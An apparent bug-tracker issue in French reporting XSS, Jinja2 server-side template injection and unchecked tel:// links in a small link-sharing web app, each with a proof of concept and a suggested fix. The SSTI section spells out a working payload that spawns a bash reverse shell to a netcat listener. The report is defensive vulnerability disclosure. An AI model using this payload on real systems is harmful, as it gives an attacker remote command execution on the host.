XSS, SSTI, Liens non vérifiés #1

Closed
opened 2020-09-27 13:45:35 +00:00 by Romain · 0 comments

XSS sur titre et description

proof of concept : <u>Hi</u>
Resultat souhaité : texte affiché tel quel et echappé
Resultat obtenu : les balises sont interpretées

fix : echaper les variables titre et desc dans app.py#L25-L27

SSTI sur titre, description et url(si le type est changé)

proof of concept :
setup coté attaquant : nc -l -vv -p 4242
setup coté victime : remplir un des champs avec
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['system']('bash -i \x3e\x26 /dev/tcp/127.0.0.1/4242 0\x3e\x261') }}
resultat : reverse shell sur la machine hote
Resultat souhaité : text affiché tel quel et echappé
Resultat obtenu : jinja2 interprete et execute le payload

fix : rendre les vues sans passer par jinja2, a aucun moment le moteur de template est utilisé donc inutile de le charger

info : https://www.onsecurity.co.uk/blog/server-side-template-injection-with-jinja2/

demo : https://gofile.io/d/jSYC9S

Possible attaque coté utilisateur

proof of concept : remplir le champs url avec tel://+33642424242
Resultat souhaité : si l'utilisateur clique sur le lien, son téléphone va appeler le 06 42 42 42 42
Resultat souhaité : on ne devrai pas pouvoir envoyer un tel lien

fix : verifier que le lien est bien de type http(s)

info : https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml

# XSS sur titre et description proof of concept : `<u>Hi</u>` Resultat souhaité : texte affiché tel quel et echappé Resultat obtenu : les balises sont interpretées fix : echaper les variables `titre` et `desc` dans app.py#L25-L27 # SSTI sur titre, description et url(si le type est changé) proof of concept : setup coté attaquant : `nc -l -vv -p 4242` setup coté victime : remplir un des champs avec ``{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['system']('bash -i \x3e\x26 /dev/tcp/127.0.0.1/4242 0\x3e\x261') }}`` resultat : reverse shell sur la machine hote Resultat souhaité : text affiché tel quel et echappé Resultat obtenu : jinja2 interprete et execute le payload fix : rendre les vues sans passer par jinja2, a aucun moment le moteur de template est utilisé donc inutile de le charger info : https://www.onsecurity.co.uk/blog/server-side-template-injection-with-jinja2/ demo : https://gofile.io/d/jSYC9S # Possible attaque coté utilisateur proof of concept : remplir le champs url avec `tel://+33642424242` Resultat souhaité : si l'utilisateur clique sur le lien, son téléphone va appeler le 06 42 42 42 42 Resultat souhaité : on ne devrai pas pouvoir envoyer un tel lien fix : verifier que le lien est bien de type http(s) info : https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
Rick closed this issue 2020-09-27 20:10:57 +00:00
Sign in to join this conversation.
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference: Rick/groupementliens#1
No description provided.